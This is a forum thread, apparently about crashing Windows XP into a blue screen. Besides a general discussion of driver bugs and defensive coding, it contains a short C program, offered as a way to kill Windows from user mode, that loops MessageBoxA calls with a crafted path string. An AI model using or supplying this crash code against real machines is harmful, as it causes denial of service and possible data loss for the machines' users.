hi2all i want to know what is the easy way to lead my winxp to BSOD condition, a friend show me this source is this the best easy sollution? suggestions appreciated.
only if this code executes in r0 and ds:0 points on invalid page. and if there are no any exception handlers that may process exception. for killing windows from usermode u can try smth like Код (Text): #include <Windows.h> int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char bug [] = "\\??\\C:\\"; for(int i = 0; i < 10; i ++)::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION); return 0; }
Freeman nice stuff, just another question what protection mechanism does drivers implement to avoid situations like BSOD and crashs?
of course this is a deduction, i was only asking in what consists bug-free code, the technical details to implement security mechanisms.
In ideal there should be not way to lead system to BSOD. BSOD state indicates serious problem in kernel mode. So all BSOD's are only from bugs To avoid BSODs - general QA advices as testing and etc, avoiding common errors (buffer overrun, insufficient parameter checks, ...). Code can be wrapped into exception handlers - this also can help
also, it is possible to give a little explanation in what differs the implementation of drivers in *nix and win32? thanks